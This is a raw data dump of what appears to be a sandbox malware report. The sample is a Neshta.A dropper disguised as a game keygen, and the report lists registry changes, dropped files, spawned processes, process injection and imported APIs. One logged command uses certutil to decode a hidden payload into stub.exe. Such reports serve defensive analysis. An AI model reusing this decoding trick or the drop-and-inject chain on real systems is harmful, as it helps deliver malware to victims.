23:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 3f:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 22:T489,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Neshta.A Sample 3bdecb8b3aaa… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3bdecb8b3aaa…. Malware family: Neshta.A. Threat score 100/100. 25/28 AV engines flagged this file. 14 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c","keywords":["Malicious","Neshta.A","malware analysis","sandbox report","threat intelligence","3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c"],"about":{"@type":"SoftwareApplication","name":"pubg-keygen Oct. 2017 by robozak.exe","applicationCategory":["peexe","executable"],"identifier":"3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Neshta.A","antivirusDetections":{"malicious":25,"total":28},"behavioralIndicators":{"malicious":14,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T404,GetSystemTime@KERNEL32.dll at 5582-1528-0108CEB1 GetSystemTime@KERNEL32.dll at 5582-1845-01048290 GetSystemTimeAsFileTime@KERNEL32.dll at 5582-1893-0108C036 GetSystemTimeAsFileTime@KERNEL32.dll at 5582-2143-0102DADD GetSystemTime@KERNEL32.dll at 5582-2504-0102D7CD GetSystemTimeAsFileTime@KERNEL32.dll at 5582-2134-0102B125 GetSystemTimeAsFileTime@KERNEL32.dll at 5582-2131-0102AE06 GetSystemTimeAsFileTime@KERNEL32.dll at 5582-2467-0102C02D GetSystemTimeAsFileTime@KERNEL32.dll at 5582-2509-0102DCD0 GetSystemTimeAsFileTime@KERNEL32.dll at 5582-3212-0108401D GetSystemTimeAsFileTime@KERNEL32.dll at 5582-2856-010A8166 GetSystemTimeAsFileTime@KERNEL32.dll at 5582-2836-010A9563 GetSystemTimeAsFileTime@KERNEL32.dll at 5582-3729-0106A1D9 GetSystemTimeAsFileTime@KERNEL32.dll at 5582-3549-0105FFC7 GetSystemTime@KERNEL32.dll at 5582-3814-0106F403 GetSystemTimeAsFileTime@KERNEL32.dll at 5582-3398-010B12FB GetSystemTime@KERNEL32.dll at 5582-3815-0106FC02 GetSystemTimeAsFileTime@KERNEL32.dll at 5582-3648-0106711625:T4b8,Found API call GetSystemTime@KERNEL32.dll (Target: "certutil.exe.2192555951"; Stream UID: "5582-1845-01048290") which is directly followed by "cmp dx, si" and "jnbe 010483D9h". See related instructions: "... +274 call dword ptr [010014B4h] ;GetSystemTime +280 xor eax, eax +282 mov ecx, dword ptr [ebp-3Ch] +285 lea edi, dword ptr [ebp-20h] +288 stosd +289 stosd +290 stosd +291 stosd +292 xor eax, eax +294 inc eax +295 push 0000000Ch +297 mov word ptr [ebp-1Ah], ax +301 pop eax +302 mov word ptr [ebp-18h], ax +306 mov eax, dword ptr [ebp-3Ah] +309 lea edx, dword ptr [eax-02h] +312 push 00000006h +314 mov word ptr [ebp-20h], cx +318 pop edi +319 cmp dx, si +322 jnbe 010483D9h" ... at 5582-1845-01048290 Found API call GetSystemTimeAsFileTime@KERNEL32.dll (Target: "certutil.exe.2192555951"; Stream UID: "5582-2131-0102AE06") which is directly followed by "cmp edi, ecx" and "jl 0102AE66h". See related instructions: "... +57 lea eax, dword ptr [ebp-10h] +60 push eax +61 call dword ptr [0100149Ch] ;GetSystemTimeAsFileTime +67 mov eax, dword ptr [ebp-10h] +70 mov ecx, dword ptr [ebp-0Ch] +73 add eax, 9A5F4400h +78 adc ecx, FFFFFFFEh +81 cmp edi, ecx +83 jl 0102AE66h" ... at 5582-2131-0102AE0626:T4e2,"" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\3BDECB8B3AAAD6822A15011E5C9F10663C3EAD64A61350148518B32F176BA02C.EXE") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\3BDECB8B3AAAD6822A15011E5C9F10663C3EAD64A61350148518B32F176BA02C.EXE") "" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SVCHOST.COM") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SVCHOST.COM") "stub.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SVCHOST.COM") "stub.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SVCHOST.COM") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SVCHOST.COM") "explorer.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SVCHOST.COM") "Ld9D50.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WSCRIPT.EXE") "Ld9D50.tmp" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WSCRIPT.EXE") "iexplore.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE") "iexplore.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE")27:T595,"" created file "C:\Users\%OSUSER%\AppData\Local\Temp\3582-490\3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe" "svchost.com" created file "C:\Users\%OSUSER%\AppData\Local\Temp\crypted.EXE" "crypted.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\TMP4351$.TMP" "crypted.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\certutil.exe" "crypted.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\stub.txt" "certutil.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\stub.exe" "stub.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\3582-490\stub.exe" "stub.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\crypted.EXE" "stub.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\RATEME~1.EXE" "svchost.com" created file "C:\Users\%OSUSER%\AppData\Local\Temp\RATEME~1.EXE" "Ld9D50.tmp" created file "C:\Users\%OSUSER%\AppData\Local\Temp\sysmin\__tmp_rar_sfx_access_check_1571421961" "Ld9D50.tmp" created file "C:\Users\%OSUSER%\AppData\Local\Temp\sysmin\setup.bat" "Ld9D50.tmp" created file "C:\Users\%OSUSER%\AppData\Local\Temp\sysmin\start.bat" "Ld9D50.tmp" created file "C:\Users\%OSUSER%\AppData\Local\Temp\sysmin\start.vbs" "Ld9D50.tmp" created file "C:\Users\%OSUSER%\AppData\Local\Temp\sysmin\winupdate.exe" "Ld9D50.tmp" created file "C:\Users\%OSUSER%\AppData\Local\Temp\sysmin\install.vbs"28:T7f6,Process "certutil.exe" (UID: 00015498-00003648) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer"" Process "stub.exe" (UID: 00016024-00001464) was launched with missing environment variables: "__COMPAT_LAYER" Process "explorer.exe" (UID: 00016201-00001264) was launched with new environment variables: "SESSIONNAME="Console"" Process "explorer.exe" (UID: 00016201-00001264) was launched with missing environment variables: "PROMPT" Process "lsass.exe" (UID: 00017028-00000464) was launched with modified environment variables: "TMP, USERNAME, Path, USERPROFILE, TEMP" Process "lsass.exe" (UID: 00017028-00000464) was launched with missing environment variables: "LOGONSERVER, LOCALAPPDATA, HOMEPATH, USERDOMAIN, SESSIONNAME, HOMEDRIVE, APPDATA" Process "WmiPrvSE.exe" (UID: 00017335-00003752) was launched with new environment variables: "LOCALAPPDATA="C:\Windows\system32\config\systemprofile\AppData\Local", USERDOMAIN="jdsHOF53m", APPDATA="C:\Windows\system32\config\systemprofile\AppData\Roaming"" Process "WmiPrvSE.exe" (UID: 00017335-00003752) was launched with modified environment variables: "USERNAME, Path" Process "svchost.exe" (UID: 00017394-00001132) was launched with modified environment variables: "LOCALAPPDATA, TMP, USERPROFILE, TEMP, APPDATA" Process "Ld9D50.tmp" (UID: 00023656-00003212) was launched with new environment variables: "LOGONSERVER="\\PSPUBWS-PC", HOMEPATH="\Users\txlN8MQ", SESSIONNAME="Console", HOMEDRIVE="C:"" Process "Ld9D50.tmp" (UID: 00023656-00003212) was launched with modified environment variables: "LOCALAPPDATA, TMP, USERDOMAIN, USERPROFILE, TEMP, APPDATA" Process "wscript.exe" (UID: 00023789-00003308) was launched with new environment variables: "sfxstime="2017-10-17-15-05-41-796", sfxname="C:\Users\txlN8MQ\AppData\Local\Temp\Ld9D50.tmp", sfxcmd=""C:\Users\PSPUBWS\AppData\Local\Temp\Ld9D50.tmp""" Process "svchost.com" (UID: 00025469-00000776) was launched with missing environment variables: "sfxstime, sfxname, sfxcmd"29:T4c0,Spawned process "" (UID: 00014422-00003488) Spawned process "svchost.com" with commandline ""%TEMP%\crypted.EXE"" (UID: 00015147-00003608) Spawned process "svchost.com" with commandline ""%TEMP%\RATEME~1.EXE"" (UID: 00015151-00003580) Spawned process "crypted.EXE" (UID: 00015315-00003584) Spawned process "RATEME?1.EXE" (UID: 00015323-00003660) Spawned process "certutil.exe" with commandline "-DECODE stub.txt stub.exe" (UID: 00015498-00003648) Spawned process "stub.exe" (UID: 00015719-00003728) Spawned process "svchost.com" with commandline ""%TEMP%\3582-490\stub.exe"" (UID: 00015936-00003680) Spawned process "stub.exe" (UID: 00016024-00001464) Spawned process "explorer.exe" (UID: 00016619-00000524) Spawned process "Ld9D50.tmp" (UID: 00023656-00003212) Spawned process "wscript.exe" with commandline ""%TEMP%\sysmin\install.vbs"" (UID: 00023789-00003308) Spawned process "svchost.com" with commandline ""%PROGRAMFILES%\INTERN~1\iexplore.exe"" (UID: 00025469-00000776) Spawned process "iexplore.exe" with commandline "%PROGRAMFILES%\INTERN~1\iexplore.exe" (UID: 00025645-00001780) Spawned process "iexplore.exe" with commandline "SCODEF:1780 CREDAT:79873" (UID: 00025740-00003424)2a:T569,"stub.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "svchost.com" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "ose00002.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "start.vbs" has type "ASCII text with CRLF line terminators" "crypted.EXE" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "ose.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "3BDECB~1.EXE" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "RATEME~1.EXE" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "certutil.exe" has type "PE32 executable (console) Intel 80386 for MS Windows" "winupdate.exe" has type "PE32+ executable (console) x86-64 for MS Windows" "setup.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "DW20.EXE" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "dwtrig20.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "setup.bat" has type "ASCII text with CRLF line terminators" "RateMeApp.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "ose00000.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "start.bat" has type "ASCII text with no line terminators"2b:T706,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Users\txlN8MQ\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "" touched file "C:\Windows\System32\en-US\propsys.dll.mui" "" touched file "C:\Windows\System32\en-US\setupapi.dll.mui" "" touched file "C:\Windows\AppPatch\sysmain.sdb" "" touched file "C:\Windows\svchost.com" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "" touched file "%APPDATA%\Microsoft\Windows\Start Menu\desktop.ini" "" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\desktop.ini" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll"2c:T608,"3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe.bin" has a PE timestamp using the buggy magic timestamp 0x2A425E19. "stub.exe" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu May 8 08:05:09 1997 "svchost.com" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu May 8 08:05:09 1997 "ose00002.exe" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu May 8 08:05:09 1997 "crypted.EXE" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu May 8 08:05:09 1997 "3BDECB~1.EXE" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970 "RATEME~1.EXE" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu May 8 08:05:09 1997 "setup.exe" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970 "DW20.EXE" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu May 8 08:05:09 1997 "dwtrig20.exe" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu May 8 08:05:09 1997 "ose00000.exe" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu May 8 08:05:09 19972d:T4b1,"stub.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "svchost.com" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "ose00002.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "crypted.EXE" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "ose.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "3BDECB~1.EXE" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "RATEME~1.EXE" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "certutil.exe" has type "PE32 executable (console) Intel 80386 for MS Windows" "winupdate.exe" has type "PE32+ executable (console) x86-64 for MS Windows" "setup.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "DW20.EXE" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "dwtrig20.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "RateMeApp.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "ose00000.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"2e:T10c5,Heuristic match: "!Powered by SmartAssembly 6.6.3.41" "94.242.240.198" "2.5.29.17" Heuristic match: "1.3.6.1.4.1.311.20.2" Heuristic match: "1.3.6.1.4.1.311.21.7" "2.5.4.3" Heuristic match: "1.3.6.1.4.1.311.21.1" Heuristic match: "1.3.6.1.4.1.311.21.22" Heuristic match: "1.3.6.1.4.1.311.21.2" "2.5.29.20" "2.5.29.27" Heuristic match: "1.3.6.1.4.1.311.21.3" Heuristic match: "1.3.6.1.4.1.311.21.4" "2.5.29.24" "2.5.29.46" "2.5.29.31" Heuristic match: "1.3.6.1.4.1.311.21.14" Heuristic match: "1.3.6.1.5.5.7.2" Heuristic match: "1.3.6.1.5.5.7.1.1" "2.5.29.8" Heuristic match: "1.3.6.1.4.1.311.21.10" "2.5.29.32" Heuristic match: "1.3.6.1.4.1.311.21.11" "2.5.29.33" Heuristic match: "1.3.6.1.4.1.311.21.12" "2.5.29.36" "2.5.29.23" Heuristic match: "1.3.6.1.4.1.311.10.11." "2.5.29.37" Heuristic match: "1.3.6.1.4.1.311.10.9.1" "2.5.29.30" Heuristic match: "1.3.6.1.5.5.7.1.11" "2.5.29.7" "2.5.29.18" Heuristic match: "1.3.6.1.4.1.311.20.2.3" Heuristic match: "1.3.6.1.4.1.311.25.1" Heuristic match: "1.3.14.3.2.3" Heuristic match: "1.3.6.1.5.5.7.12.2" "2.5.29.1" "2.5.29.35" Heuristic match: "1.3.14.3.2.26" "2.5.29.14" Heuristic match: "1.3.6.1.4.1.311.13.2.1" Heuristic match: "1.2.840.113549.1.12.1.3" "2.5.29.21" Heuristic match: "1.3.6.1.5.5.7.3.2" "2.5.29.15" Heuristic match: "1.3.6.1.5.5.7.6.2" Heuristic match: "1.3.6.1.4.1.311.21.16" Heuristic match: "1.3.6.1.4.1.311.2.1.14" Heuristic match: "1.3.6.1.4.1.311.13.1" Heuristic match: "1.3.6.1.4.1.311.21.13" Heuristic match: "1.3.6.1.4.1.311.21.17" Heuristic match: "1.3.6.1.4.1.311.21.21" Heuristic match: "1.3.6.1.4.1.311.13.2.2" Heuristic match: "1.3.6.1.4.1.311.21.20" Heuristic match: "1.3.6.1.4.1.311.10.4.1" Heuristic match: "2.5.29.37.0" "2.5.29.19" Heuristic match: "1.3.6.1.4.1.311.20.2.2" Heuristic match: "1.3.6.1.5.5.7.3.1" Heuristic match: "1.3.6.1.5.5.7.48.1.1" Heuristic match: "1.3.6.1.4.1.311.20.2.1" Heuristic match: "1.3.6.1.4.1.311.10.3.10" Heuristic match: "1.3.6.1.5.5.7.2.1" Heuristic match: "1.3.6.1.4.1.311.60.1.1" Heuristic match: "1.3.6.1.5.5.7.2.2" Heuristic match: "1.3.6.1.4.1.311.13.2.3" Heuristic match: "1.3.6.1.5.5.7.48.2" Heuristic match: "1.3.6.1.4.1.311.21.6" Heuristic match: "1.3.6.1.5.5.7.7.8" Heuristic match: "1.3.6.1.4.1.311.10.10.1" Heuristic match: "1.3.6.1.5.5.7.7.1" Heuristic match: "1.3.6.1.5.5.7.7.5" Heuristic match: "1.3.6.1.5.5.7.7.18" Heuristic match: "1.3.6.1.5.5.7.7.21" Heuristic match: "1.3.6.1.5.5.7.7.6" Heuristic match: "1.3.6.1.5.5.7.7.7" Heuristic match: "1.3.6.1.4.1.311.10.8.1" Heuristic match: "1.3.6.1.4.1.311.10.11.98" Heuristic match: "1.3.6.1.5.5.7.3.9" "2.5.29.2" "2.5.29.28" Heuristic match: "3.6.1.4.1.311.21.4" Heuristic match: "2.5.29.31 = ;" Heuristic match: "6.1.4.1.311.10.3.4.1" Heuristic match: "6.1.4.1.311.21.1" "2.5.4.9" "2.5.4.4" "2.5.4.43" "2.5.4.42" "2.5.4.12" "2.5.4.8" "2.5.4.7" "2.5.4.11" "2.5.4.10" "2.5.4.6" Heuristic match: "5.5.7.1.11" Heuristic match: "6.1.5.5.7.2" Heuristic match: "6.1.4.1.311.10.4.1" Heuristic match: "5.5.7.6.2" Heuristic match: "1.3.6.1.4.1.311.10.3.11" Heuristic match: "1.3.6.1.5.5.7.3.4" Heuristic match: "1.3.6.1.4.1.311.10.3.12" Heuristic match: "1.3.6.1.4.1.311.10.3.2" Heuristic match: "1.3.6.1.5.5.7.3.8" Heuristic match: "1.3.6.1.5.5.7.3.3" Heuristic match: "6.1.4.1.311.10.11." Heuristic match: "01.3.4.2.3" Heuristic match: ".1.101.3.4.2.2" Heuristic match: ".1.101.3.4.2.1" "49.1.1.13" Heuristic match: "1.3.6.1.5.5.7.7.17" Heuristic match: "6.1.5.5.7.12.3" Heuristic match: "1.3.6.1.4.1.311.10.11.87" Heuristic match: "1.3.6.1.4.1.311.10.11.26" Heuristic match: "1.3.6.1.4.1.311.10.11.84" Heuristic match: "1.3.6.1.4.1.311.10.11.83" Heuristic match: "1.3.6.1.4.1.311.10.11.9" Heuristic match: "1.3.6.1.4.1.311.10.11.2" Heuristic match: "1.3.6.1.4.1.311.10.11.75" Heuristic match: "1.3.6.1.4.1.311.10.11.73" Heuristic match: "1.3.6.1.4.1.311.10.11.72" Heuristic match: "1.3.6.1.4.1.311.10.11.71" Heuristic match: "1.3.6.1.4.1.311.10.11.30" Heuristic match: "1.3.6.1.4.1.311.10.11.21" Heuristic match: "1.3.6.1.4.1.311.10.11.13" Heuristic match: "1.3.6.1.4.1.311.10.11.11" Heuristic match: "1.3.6.1.5.5.7.48.5" Heuristic match: "3.6.1.5.5.7.48.3" Heuristic match: "1.5.5.7.48.1"2f:T463,RegOpenKeyExA RegCloseKey GetFileAttributesA GetDriveTypeA GetModuleFileNameA GetStartupInfoA WinExec GetFileSize CreateDirectoryA DeleteFileA UnhandledExceptionFilter GetCommandLineA GetTempPathA GetModuleHandleA FindFirstFileA WriteFile FindNextFileA CreateFileA VirtualAlloc ShellExecuteA RegCreateKeyW CryptEncrypt RegDeleteValueW RegDeleteKeyW SetSecurityDescriptorDacl RegCreateKeyExW OpenProcessToken RegEnumKeyW LookupAccountNameW RegOpenKeyW RegOpenKeyExW RegEnumKeyExW CertDeleteCertificateFromStore CryptEncryptMessage GetFileAttributesW FindResourceExW OutputDebugStringA LoadLibraryExA LoadLibraryExW CreateThread TerminateProcess LoadLibraryW GetVersionExW GetTickCount OpenProcess GetStartupInfoW CreateDirectoryW DeleteFileW GetProcAddress GetTempFileNameW GetComputerNameW FindNextFileW GetComputerNameExW FindFirstFileW GetTempPathW CreateFileW CreateFileMappingW FindResourceW LockResource GetCommandLineW MapViewOfFile GetModuleHandleW GetFileAttributesExW Sleep GetUserNameExW GetModuleFileNameW LoadLibraryA WSASend IsDebuggerPresent30:T9be,"" wrote bytes "db4d306e00000000" to virtual address "0x00E22000" (part of module "3BDECB8B3AAAD6822A15011E5C9F10663C3EAD64A61350148518B32F176BA02C.EXE") "" wrote bytes "aba344b8" to virtual address "0x667A1FDC" (part of module "MSCORWKS.DLL") "certutil.exe" wrote bytes "4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000" to virtual address "0x75491000" (part of module "NSI.DLL") "stub.exe" wrote bytes "202d0a6a" to virtual address "0x004151E4" (part of module "STUB.EXE") "stub.exe" wrote bytes "03276b6a" to virtual address "0x00415184" (part of module "STUB.EXE") "stub.exe" wrote bytes "d9210a6a" to virtual address "0x00415174" (part of module "STUB.EXE") "stub.exe" wrote bytes "88140a6a" to virtual address "0x004151DC" (part of module "STUB.EXE") "stub.exe" wrote bytes "d9210a6a" to virtual address "0x00415144" (part of module "STUB.EXE") "stub.exe" wrote bytes "93250a6a" to virtual address "0x00415170" (part of module "STUB.EXE") "stub.exe" wrote bytes "c6190a6a" to virtual address "0x0041518C" (part of module "STUB.EXE") "iexplore.exe" wrote bytes "e9e9f0b0f8" to virtual address "0x75BAE9ED" (part of module "USER32.DLL") "iexplore.exe" wrote bytes "e937f2b0f8" to virtual address "0x75BAE963" (part of module "USER32.DLL") "iexplore.exe" wrote bytes "e9c20ab2f8" to virtual address "0x75B9D274" (part of module "USER32.DLL") "iexplore.exe" wrote bytes "e96ff1b0f8" to virtual address "0x75BAE9C9" (part of module "USER32.DLL") "iexplore.exe" wrote bytes "e9efb961fa" to virtual address "0x740A388E" (part of module "COMCTL32.DLL") "iexplore.exe" wrote bytes "e9b94394f8" to virtual address "0x75B73B9B" (part of module "USER32.DLL") "iexplore.exe" wrote bytes "e9fc7957fa" to virtual address "0x74147922" (part of module "COMCTL32.DLL") "iexplore.exe" wrote bytes "92e6047779a80977be720977d62d09771de2047705a20977bee30477616f0977684107770050077700000000ad37d0758b2dd075b641d07500000000" to virtual address "0x74691000" (part of module "WSHTCPIP.DLL") "iexplore.exe" wrote bytes "c4ca577580bb5775aa6e58759fbb577508bb577546ce577561385875de2f5875d0d95775000000001779ce764f91ce767f6fce76f4f7ce7611f7ce76f283ce76857ece7600000000" to virtual address "0x720C1000" (part of module "MSIMG32.DLL") "iexplore.exe" wrote bytes "e99ac309f9" to virtual address "0x75622694" (part of module "COMDLG32.DLL")31:T1364,"" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\3582-490\3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe" (Handle: 316) "" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\3582-490\3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe" (Handle: 316) "" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\3582-490\3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe" (Handle: 316) "" wrote 32 bytes to a remote process "C:\Windows\svchost.com" (Handle: 808) "" wrote 52 bytes to a remote process "C:\Windows\svchost.com" (Handle: 808) "" wrote 4 bytes to a remote process "C:\Windows\svchost.com" (Handle: 808) "" wrote 32 bytes to a remote process "C:\Windows\svchost.com" (Handle: 848) "" wrote 52 bytes to a remote process "C:\Windows\svchost.com" (Handle: 848) "" wrote 4 bytes to a remote process "C:\Windows\svchost.com" (Handle: 848) "svchost.com" wrote 1500 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\crypted.EXE" (Handle: 120) "svchost.com" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\crypted.EXE" (Handle: 120) "svchost.com" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\crypted.EXE" (Handle: 120) "svchost.com" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\crypted.EXE" (Handle: 120) "svchost.com" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\RATEME~1.EXE" (Handle: 128) "svchost.com" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\RATEME~1.EXE" (Handle: 128) "svchost.com" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\RATEME~1.EXE" (Handle: 128) "crypted.EXE" wrote 1500 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\certutil.exe" (Handle: 248) "crypted.EXE" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\certutil.exe" (Handle: 248) "crypted.EXE" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\certutil.exe" (Handle: 248) "crypted.EXE" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\certutil.exe" (Handle: 248) "crypted.EXE" wrote 1500 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\stub.exe" (Handle: 8) "crypted.EXE" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\stub.exe" (Handle: 8) "crypted.EXE" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\stub.exe" (Handle: 8) "crypted.EXE" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\stub.exe" (Handle: 8) "stub.exe" wrote 1500 bytes to a remote process "C:\Windows\svchost.com" (Handle: 544) "stub.exe" wrote 4 bytes to a remote process "C:\Windows\svchost.com" (Handle: 544) "stub.exe" wrote 32 bytes to a remote process "C:\Windows\svchost.com" (Handle: 544) "stub.exe" wrote 52 bytes to a remote process "C:\Windows\svchost.com" (Handle: 544) "svchost.com" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\3582-490\stub.exe" (Handle: 124) "svchost.com" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\3582-490\stub.exe" (Handle: 124) "svchost.com" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\3582-490\stub.exe" (Handle: 124) "explorer.exe" wrote 32 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 2300) "explorer.exe" wrote 52 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 2300) "explorer.exe" wrote 4 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 2300) "explorer.exe" wrote 32 